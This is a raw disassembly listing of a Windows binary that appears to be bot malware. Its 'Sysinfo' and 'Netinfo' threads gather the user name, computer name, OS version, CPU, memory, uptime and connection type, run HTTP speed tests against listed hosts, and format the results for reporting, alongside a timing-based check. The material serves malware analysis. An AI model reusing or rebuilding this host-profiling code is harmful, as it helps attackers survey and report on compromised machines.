I N E ======================================= ; Attributes: bp-based frame sub_40813C proc near ; CODE XREF: sub_407928+54p ; sub_407928+9Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_408150 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [eax], ecx loc_408150: ; CODE XREF: sub_40813C+Aj mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_8], eax jmp short loc_408161 ; --------------------------------------------------------------------------- loc_40815A: ; CODE XREF: sub_40813C:loc_4081A0j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408161: ; CODE XREF: sub_40813C+1Cj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081A2 mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_408171: ; CODE XREF: sub_40813C+56j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_408194 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_408194 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_408171 ; --------------------------------------------------------------------------- loc_408194: ; CODE XREF: sub_40813C+3Dj ; sub_40813C+4Dj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081A0 jmp short loc_4081A2 ; --------------------------------------------------------------------------- loc_4081A0: ; CODE XREF: sub_40813C+60j jmp short loc_40815A ; --------------------------------------------------------------------------- loc_4081A2: ; CODE XREF: sub_40813C+2Dj ; sub_40813C+62j mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_4081AE: ; CODE XREF: sub_40813C:loc_4081F5j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081F7 mov eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+var_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_4081D7 mov eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_4081F7 ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_40813C+8Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081F5 mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_4081F5: ; CODE XREF: sub_40813C+AAj jmp short loc_4081AE ; --------------------------------------------------------------------------- loc_4081F7: ; CODE XREF: sub_40813C+7Aj ; sub_40813C+99j mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] mov [eax], ecx mov eax, [ebp+var_8] sub eax, [ebp+var_C] neg eax sbb eax, eax and eax, [ebp+var_8] leave retn sub_40813C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40820E proc near ; CODE XREF: sub_40821B:loc_408221p ; sub_40821B+1Cp push ebp mov ebp, esp push ebx push esi push edi rdtsc pop edi pop esi pop ebx pop ebp retn sub_40820E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40821B proc near ; CODE XREF: sub_4083AD+3A4p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h loc_408221: ; CODE XREF: sub_40821B+4Aj ; sub_40821B+55j call sub_40820E mov [ebp+var_20], eax mov [ebp+var_1C], edx push 3E8h call ds:dword_41709C ; Sleep call sub_40820E sub eax, [ebp+var_20] sbb edx, [ebp+var_1C] push 0 push 186A0h push edx push eax call sub_416C90 push 0 push 0Ah push edx push eax call sub_416C90 mov [ebp+var_8], eax mov [ebp+var_4], edx cmp [ebp+var_4], 0 ja short loc_408221 jb short loc_408272 cmp [ebp+var_8], 0F4240h ja short loc_408221 loc_408272: ; CODE XREF: sub_40821B+4Cj push 0 push 64h push [ebp+var_4] push [ebp+var_8] call sub_416C10 mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], 64h and [ebp+var_C], 0 cmp [ebp+var_14], 0 ja short loc_4082AB jb short loc_4082A0 cmp [ebp+var_18], 50h jnb short loc_4082AB loc_4082A0: ; CODE XREF: sub_40821B+7Dj mov [ebp+var_10], 4Bh and [ebp+var_C], 0 loc_4082AB: ; CODE XREF: sub_40821B+7Bj ; sub_40821B+83j cmp [ebp+var_14], 0 ja short loc_4082C4 jb short loc_4082B9 cmp [ebp+var_18], 47h jnb short loc_4082C4 loc_4082B9: ; CODE XREF: sub_40821B+96j mov [ebp+var_10], 42h and [ebp+var_C], 0 loc_4082C4: ; CODE XREF: sub_40821B+94j ; sub_40821B+9Cj cmp [ebp+var_14], 0 ja short loc_4082DD jb short loc_4082D2 cmp [ebp+var_18], 37h jnb short loc_4082DD loc_4082D2: ; CODE XREF: sub_40821B+AFj mov [ebp+var_10], 32h and [ebp+var_C], 0 loc_4082DD: ; CODE XREF: sub_40821B+ADj ; sub_40821B+B5j cmp [ebp+var_14], 0 ja short loc_4082F6 jb short loc_4082EB cmp [ebp+var_18], 26h jnb short loc_4082F6 loc_4082EB: ; CODE XREF: sub_40821B+C8j mov [ebp+var_10], 21h and [ebp+var_C], 0 loc_4082F6: ; CODE XREF: sub_40821B+C6j ; sub_40821B+CEj cmp [ebp+var_14], 0 ja short loc_40830F jb short loc_408304 cmp [ebp+var_18], 1Eh jnb short loc_40830F loc_408304: ; CODE XREF: sub_40821B+E1j mov [ebp+var_10], 19h and [ebp+var_C], 0 loc_40830F: ; CODE XREF: sub_40821B+DFj ; sub_40821B+E7j cmp [ebp+var_14], 0 ja short loc_408325 jb short loc_40831D cmp [ebp+var_18], 0Ah jnb short loc_408325 loc_40831D: ; CODE XREF: sub_40821B+FAj and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408325: ; CODE XREF: sub_40821B+F8j ; sub_40821B+100j mov eax, [ebp+var_8] sub eax, [ebp+var_18] mov ecx, [ebp+var_4] sbb ecx, [ebp+var_14] add eax, [ebp+var_10] adc ecx, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_4], ecx mov eax, [ebp+var_8] leave retn sub_40821B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408342 proc near ; CODE XREF: sub_40D043+156p ; sub_40D871+30Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1Fh push [ebp+arg_0] push 7 push 400h call ds:dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 cmp [ebp+var_4], 0 jz short loc_408381 push offset off_419100 push [ebp+arg_0] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_4083A8 loc_408381: ; CODE XREF: sub_408342+2Aj push 1Fh push [ebp+arg_0] push 7 push 800h call ds:dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 mov eax, [ebp+var_4] jmp short locret_4083AB ; --------------------------------------------------------------------------- loc_4083A8: ; CODE XREF: sub_408342+3Dj push 1 pop eax locret_4083AB: ; CODE XREF: sub_408342+64j leave retn sub_408342 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083AD proc near ; DATA XREF: sub_4087C4+35o var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_73C = dword ptr -73Ch var_738 = dword ptr -738h var_734 = byte ptr -734h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_714 = dword ptr -714h var_710 = dword ptr -710h var_70C = dword ptr -70Ch var_708 = byte ptr -708h var_6F0 = dword ptr -6F0h var_6EC = dword ptr -6ECh var_6E8 = dword ptr -6E8h var_6E4 = dword ptr -6E4h var_6E0 = byte ptr -6E0h var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = byte ptr -6C8h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = dword ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = byte ptr -50Ch var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_409 = byte ptr -409h var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 750h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_6CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_734] push eax call ds:dword_4170C4 ; GlobalMemoryStatus mov eax, [ebp+var_72C] add eax, 100000h shr eax, 14h mov [ebp+var_6F0], eax mov eax, [ebp+var_728] add eax, 100000h shr eax, 14h mov [ebp+var_738], eax call sub_4092A4 mov [ebp+var_714], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_6E8], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_524], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_6E4], eax mov [ebp+var_8], 15h mov [ebp+var_6D0], 10h lea eax, [ebp+var_8] push eax lea eax, [ebp+var_708] push eax call ds:dword_417018 ; GetUserNameA lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_6E0] push eax call ds:dword_417078 ; GetComputerNameA mov [ebp+var_520], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_51C] rep stosd lea eax, [ebp+var_520] push eax call ds:dword_417030 ; GetVersionExA mov [ebp+var_48C], offset a? ; "?" mov [ebp+var_710], offset aNoSp ; "no SP" cmp [ebp+var_51C], 4 jnz short loc_408522 cmp [ebp+var_518], 0 jnz short loc_408522 cmp [ebp+var_510], 1 jnz short loc_40850A mov [ebp+var_48C], offset a95 ; "95" loc_40850A: ; CODE XREF: sub_4083AD+151j cmp [ebp+var_510], 2 jnz short loc_40851D mov [ebp+var_48C], offset aNt ; "NT" loc_40851D: ; CODE XREF: sub_4083AD+164j jmp loc_4085B6 ; --------------------------------------------------------------------------- loc_408522: ; CODE XREF: sub_4083AD+13Fj ; sub_4083AD+148j cmp [ebp+var_51C], 4 jnz short loc_408540 cmp [ebp+var_518], 0Ah jnz short loc_408540 mov [ebp+var_48C], offset a98 ; "98" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_408540: ; CODE XREF: sub_4083AD+17Cj ; sub_4083AD+185j cmp [ebp+var_51C], 4 jnz short loc_40855E cmp [ebp+var_518], 5Ah jnz short loc_40855E mov [ebp+var_48C], offset aMe ; "ME" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40855E: ; CODE XREF: sub_4083AD+19Aj ; sub_4083AD+1A3j cmp [ebp+var_51C], 5 jnz short loc_40857C cmp [ebp+var_518], 0 jnz short loc_40857C mov [ebp+var_48C], offset a2000 ; "2000" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40857C: ; CODE XREF: sub_4083AD+1B8j ; sub_4083AD+1C1j cmp [ebp+var_51C], 5 jnz short loc_40859A cmp [ebp+var_518], 1 jnz short loc_40859A mov [ebp+var_48C], offset aXp ; "XP" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40859A: ; CODE XREF: sub_4083AD+1D6j ; sub_4083AD+1DFj cmp [ebp+var_51C], 5 jnz short loc_4085B6 cmp [ebp+var_518], 2 jnz short loc_4085B6 mov [ebp+var_48C], offset a2003 ; "2003" loc_4085B6: ; CODE XREF: sub_4083AD:loc_40851Dj ; sub_4083AD+191j ... cmp [ebp+var_510], 2 jnz short loc_4085D6 movsx eax, [ebp+var_50C] test eax, eax jz short loc_4085D6 lea eax, [ebp+var_50C] mov [ebp+var_710], eax loc_4085D6: ; CODE XREF: sub_4083AD+210j ; sub_4083AD+21Bj call sub_40435B test eax, eax jz short loc_4085EB mov [ebp+var_744], offset aYes ; "Yes" jmp short loc_4085F5 ; --------------------------------------------------------------------------- loc_4085EB: ; CODE XREF: sub_4083AD+230j mov [ebp+var_744], offset aNo ; "No" loc_4085F5: ; CODE XREF: sub_4083AD+23Cj mov eax, [ebp+var_744] mov [ebp+var_4], eax and [ebp+var_47C], 0 and [ebp+var_409], 0 xor eax, eax cpuid mov [ebp+var_488], ebx mov [ebp+var_484], edx mov [ebp+var_480], ecx lea eax, [ebp+var_488] mov [ebp+var_6EC], eax and [ebp+var_70C], 0 lea eax, [ebp+var_70C] push eax push 20019h push 0 push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h call ds:dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_4086B3 and [ebp+var_73C], 0 mov [ebp+var_740], 80h lea eax, [ebp+var_740] push eax lea eax, [ebp+var_488] push eax lea eax, [ebp+var_73C] push eax push 0 push offset aProcessornames ; "ProcessorNameString" push [ebp+var_70C] call ds:dword_41700C ; RegQueryValueExA test eax, eax jnz short loc_4086A7 push 1 push 1 lea eax, [ebp+var_488] push eax call sub_407C2C add esp, 0Ch loc_4086A7: ; CODE XREF: sub_4083AD+2E5j push [ebp+var_70C] call ds:dword_417028 ; RegCloseKey loc_4086B3: ; CODE XREF: sub_4083AD+2A8j cmp [ebp+var_6E4], 1 jnz short loc_4086C8 mov [ebp+var_748], offset byte_41DE30 jmp short loc_4086D2 ; --------------------------------------------------------------------------- loc_4086C8: ; CODE XREF: sub_4083AD+30Dj mov [ebp+var_748], offset dword_4191F4 loc_4086D2: ; CODE XREF: sub_4083AD+319j cmp [ebp+var_524], 1 jnz short loc_4086E7 mov [ebp+var_74C], offset byte_41DE30 jmp short loc_4086F1 ; --------------------------------------------------------------------------- loc_4086E7: ; CODE XREF: sub_4083AD+32Cj mov [ebp+var_74C], offset dword_4191F4 loc_4086F1: ; CODE XREF: sub_4083AD+338j cmp [ebp+var_6E8], 1 jnz short loc_408706 mov [ebp+var_750], offset byte_41DE30 jmp short loc_408710 ; --------------------------------------------------------------------------- loc_408706: ; CODE XREF: sub_4083AD+34Bj mov [ebp+var_750], offset dword_4191F4 loc_408710: ; CODE XREF: sub_4083AD+357j lea eax, [ebp+var_708] push eax lea eax, [ebp+var_6E0] push eax push [ebp+var_748] push [ebp+var_6E4] push [ebp+var_74C] push [ebp+var_524] push [ebp+var_750] push [ebp+var_6E8] push [ebp+var_4] push [ebp+var_6F0] push [ebp+var_738] call sub_40821B push eax push [ebp+var_6EC] push [ebp+var_514] push [ebp+var_518] push [ebp+var_51C] push [ebp+var_710] push [ebp+var_48C] push offset dword_419104 push 400h lea eax, [ebp+var_408] push eax call sub_416BAE ; _snprintf add esp, 54h lea eax, [ebp+var_408] push eax push offset aS ; "%s" lea eax, [ebp+var_6C8] push eax call sub_40D53F add esp, 0Ch push [ebp+var_6CC] call sub_409763 pop ecx xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_4083AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087C4 proc near ; CODE XREF: sub_40A9CF+1B9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4087DE jmp short locret_408806 ; --------------------------------------------------------------------------- loc_4087DE: ; CODE XREF: sub_4087C4+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push [ebp+var_4] push offset sub_4083AD call sub_4095A4 add esp, 10h locret_408806: ; CODE XREF: sub_4087C4+18j leave retn sub_4087C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408808 proc near ; CODE XREF: sub_408887+Bp ; sub_408887+19p ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push [ebp+arg_0] lea eax, [ebp+var_28] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push 7D0h push 0 push offset a80 ; "80" lea eax, [ebp+var_28] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_8] call sub_4053B1 pop ecx cmp [ebp+var_8], 0 jnz short loc_40885F mov eax, 3E8h jmp short locret_408885 ; --------------------------------------------------------------------------- loc_40885F: ; CODE XREF: sub_408808+4Ej call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, 3E8h jnb short loc_40887B call sub_416B64 ; clock sub eax, [ebp+var_4] mov [ebp+var_2C], eax jmp short loc_408882 ; --------------------------------------------------------------------------- loc_40887B: ; CODE XREF: sub_408808+64j mov [ebp+var_2C], 3E8h loc_408882: ; CODE XREF: sub_408808+71j mov eax, [ebp+var_2C] locret_408885: ; CODE XREF: sub_408808+55j leave retn sub_408808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408887 proc near ; CODE XREF: sub_408B30+1C2p ; sub_40CA29+1E9p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset dword_418F60 call sub_408808 pop ecx mov [ebp+var_4], eax push offset dword_418F6C call sub_408808 pop ecx mov [ebp+var_8], eax push offset dword_418F84 call sub_408808 pop ecx mov [ebp+var_C], eax push offset aJzFl ; "†‡Âݳ”«Ê" call sub_408808 pop ecx mov [ebp+var_10], eax push offset dword_418FA0 call sub_408808 pop ecx mov [ebp+var_14], eax push offset dword_418FB0 call sub_408808 pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] add eax, [ebp+var_C] add eax, [ebp+var_10] add eax, [ebp+var_14] add eax, [ebp+var_18] xor edx, edx push 6 pop ecx div ecx leave retn sub_408887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088FC proc near ; CODE XREF: sub_408B30:loc_408D33p var_438 = qword ptr -438h var_430 = dword ptr -430h var_42C = qword ptr -42Ch var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = byte ptr -308h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 438h and [ebp+var_8], 0 jmp short loc_408912 ; --------------------------------------------------------------------------- loc_40890B: ; CODE XREF: sub_4088FC+23j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408912: ; CODE XREF: sub_4088FC+Dj mov eax, [ebp+var_8] cmp off_418FC4[eax*4], 0 jz short loc_408921 jmp short loc_40890B ; --------------------------------------------------------------------------- loc_408921: ; CODE XREF: sub_4088FC+21j mov eax, [ebp+var_8] shr eax, 1 mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_408936 ; --------------------------------------------------------------------------- loc_40892F: ; CODE XREF: sub_4088FC+D6j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_408936: ; CODE XREF: sub_4088FC+31j cmp [ebp+var_4], 3 jnb loc_408B2C mov eax, [ebp+var_8] dec eax push eax push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_318], eax mov eax, [ebp+var_318] shl eax, 1 push off_418FC4[eax*4] lea eax, [ebp+var_418] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_418] push eax call sub_4105FB pop ecx mov eax, [ebp+var_318] shl eax, 1 push off_418FC8[eax*4] lea eax, [ebp+var_308] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_308] push eax call sub_4105FB pop ecx push 2710h push 0 push offset a80 ; "80" lea eax, [ebp+var_418] push eax call sub_4050EA add esp, 10h mov [ebp+var_310], eax cmp [ebp+var_310], 0 jnz short loc_4089D7 jmp loc_40892F ; --------------------------------------------------------------------------- loc_4089D7: ; CODE XREF: sub_4088FC+D4j lea eax, [ebp+var_418] push eax lea eax, [ebp+var_308] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 200h lea eax, [ebp+var_208] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_208] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_4053BF add esp, 0Ch and [ebp+var_314], 0 call sub_416B64 ; clock mov [ebp+var_41C], eax and [ebp+var_30C], 0 loc_408A3A: ; CODE XREF: sub_4088FC+1AFj ; sub_4088FC+22Bj push 1388h push 200h lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_408A93 cmp [ebp+var_420], 0FFFFFFFFh jz short loc_408A93 call sub_416B64 ; clock sub eax, [ebp+var_41C] cmp eax, 1388h jnb short loc_408A93 cmp [ebp+var_30C], 100000h jb loc_408B15 loc_408A93: ; CODE XREF: sub_4088FC+16Aj ; sub_4088FC+173j ... cmp [ebp+var_30C], 2000h jnb short loc_408AAD push [ebp+var_310] call sub_40538D pop ecx jmp short loc_408A3A ; --------------------------------------------------------------------------- loc_408AAD: ; CODE XREF: sub_4088FC+1A1j mov eax, [ebp+var_30C] mov dword ptr [ebp+var_42C], eax and dword ptr [ebp+var_42C+4], 0 fild [ebp+var_42C] fstp [ebp+var_430] call sub_416B64 ; clock sub eax, [ebp+var_41C] mov dword ptr [ebp+var_438], eax and dword ptr [ebp+var_438+4], 0 fild [ebp+var_438] fdiv ds:flt_417270 fdivr [ebp+var_430] call sub_416CF8 ; _ftol mov [ebp+var_424], eax push [ebp+var_310] call sub_40538D pop ecx mov eax, [ebp+var_424] jmp short locret_408B2E ; --------------------------------------------------------------------------- loc_408B15: ; CODE XREF: sub_4088FC+191j mov eax, [ebp+var_30C] add eax, [ebp+var_420] mov [ebp+var_30C], eax jmp loc_408A3A ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: sub_4088FC+3Ej xor eax, eax locret_408B2E: ; CODE XREF: sub_4088FC+217j leave retn sub_4088FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B30 proc near ; DATA XREF: sub_408E4A+35o var_A9C = qword ptr -0A9Ch var_A7C = qword ptr -0A7Ch var_A74 = dword ptr -0A74h var_A70 = dword ptr -0A70h var_A6C = dword ptr -0A6Ch var_A68 = dword ptr -0A68h var_A64 = dword ptr -0A64h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_8B8 = dword ptr -8B8h var_8B4 = dword ptr -8B4h var_8B0 = byte ptr -8B0h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = byte ptr -814h var_414 = byte ptr -414h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A7Ch push 1A7h push [ebp+arg_0] lea eax, [ebp+var_A60] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset dword_41EF48 lea eax, [ebp+var_414] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_824] push eax push 0 push 0 push offset dword_41EF48 call dword_41DE84 ; getaddrinfo test eax, eax jnz short loc_408BBC push 1 push 0 push 0 push 401h lea eax, [ebp+var_414] push eax mov eax, [ebp+var_824] push dword ptr [eax+10h] mov eax, [ebp+var_824] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo push [ebp+var_824] call dword_41DE8C ; freeaddrinfo loc_408BBC: ; CODE XREF: sub_408B30+54j call sub_409318 mov [ebp+var_8B8], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_830], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_820], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_82C], eax push offset aUnknown ; "Unknown" lea eax, [ebp+var_8B0] push eax call sub_416B3A ; strcpy pop ecx pop ecx push offset aUnknown ; "Unknown" lea eax, [ebp+var_10] push eax call sub_416B3A ; strcpy pop ecx pop ecx cmp dword_41DE7C, 0 jz short loc_408C9F push 0 push 80h lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_818] push eax call dword_41DE7C ; InternetGetConnectedStateExA test eax, eax jz short loc_408C9F mov eax, [ebp+var_818] and eax, 1 test eax, eax jz short loc_408C8F push offset aModem ; "Modem" lea eax, [ebp+var_10] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_408C9F ; --------------------------------------------------------------------------- loc_408C8F: ; CODE XREF: sub_408B30+14Bj push offset aLan ; "LAN" lea eax, [ebp+var_10] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_408C9F: ; CODE XREF: sub_408B30+11Fj ; sub_408B30+13Ej ... call sub_4043E9 test eax, eax jz short loc_408CB4 mov [ebp+var_A64], offset aYes ; "Yes" jmp short loc_408CBE ; --------------------------------------------------------------------------- loc_408CB4: ; CODE XREF: sub_408B30+176j mov [ebp+var_A64], offset aNo ; "No" loc_408CBE: ; CODE XREF: sub_408B30+182j mov eax, [ebp+var_A64] mov [ebp+var_8], eax call sub_404279 test eax, eax jz short loc_408CDC mov [ebp+var_A68], offset aYes ; "Yes" jmp short loc_408CE6 ; --------------------------------------------------------------------------- loc_408CDC: ; CODE XREF: sub_408B30+19Ej mov [ebp+var_A68], offset aNo ; "No" loc_408CE6: ; CODE XREF: sub_408B30+1AAj mov eax, [ebp+var_A68] mov [ebp+var_8B4], eax call sub_408887 mov [ebp+var_828], eax mov [ebp+var_81C], offset aBad ; "Bad" cmp [ebp+var_828], 2EEh jnb short loc_408D1D mov [ebp+var_81C], offset aAvarage ; "Avarage" loc_408D1D: ; CODE XREF: sub_408B30+1E1j cmp [ebp+var_828], 1F4h jnb short loc_408D33 mov [ebp+var_81C], offset aGood ; "Good" loc_408D33: ; CODE XREF: sub_408B30+1F7j call sub_4088FC mov [ebp+var_4], eax cmp [ebp+var_82C], 1 jnz short loc_408D50 mov [ebp+var_A6C], offset byte_41DE30 jmp short loc_408D5A ; --------------------------------------------------------------------------- loc_408D50: ; CODE XREF: sub_408B30+212j mov [ebp+var_A6C], offset dword_4191F4 loc_408D5A: ; CODE XREF: sub_408B30+21Ej cmp [ebp+var_820], 1 jnz short loc_408D6F mov [ebp+var_A70], offset byte_41DE30 jmp short loc_408D79 ; --------------------------------------------------------------------------- loc_408D6F: ; CODE XREF: sub_408B30+231j mov [ebp+var_A70], offset dword_4191F4 loc_408D79: ; CODE XREF: sub_408B30+23Dj cmp [ebp+var_830], 1 jnz short loc_408D8E mov [ebp+var_A74], offset byte_41DE30 jmp short loc_408D98 ; --------------------------------------------------------------------------- loc_408D8E: ; CODE XREF: sub_408B30+250j mov [ebp+var_A74], offset dword_4191F4 loc_408D98: ; CODE XREF: sub_408B30+25Cj push [ebp+var_A6C] push [ebp+var_82C] push [ebp+var_A70] push [ebp+var_820] push [ebp+var_A74] push [ebp+var_830] mov eax, [ebp+var_4] mov dword ptr [ebp+var_A7C], eax and dword ptr [ebp+var_A7C+4], 0 fild [ebp+var_A7C] fdiv ds:flt_417274 push ecx push ecx fstp [esp+0A9Ch+var_A9C] push [ebp+var_828] push [ebp+var_81C] push [ebp+var_8B4] push [ebp+var_8] lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_414] push eax push offset dword_419284 push 400h lea eax, [ebp+var_814] push eax call sub_416BAE ; _snprintf add esp, 48h lea eax, [ebp+var_814] push eax push offset aS ; "%s" lea eax, [ebp+var_A5C] push eax call sub_40D53F add esp, 0Ch push [ebp+var_A60] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_408B30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E4A proc near ; CODE XREF: sub_40A9CF+1BD8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_408E64 jmp short locret_408E8C ; --------------------------------------------------------------------------- loc_408E64: ; CODE XREF: sub_408E4A+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push 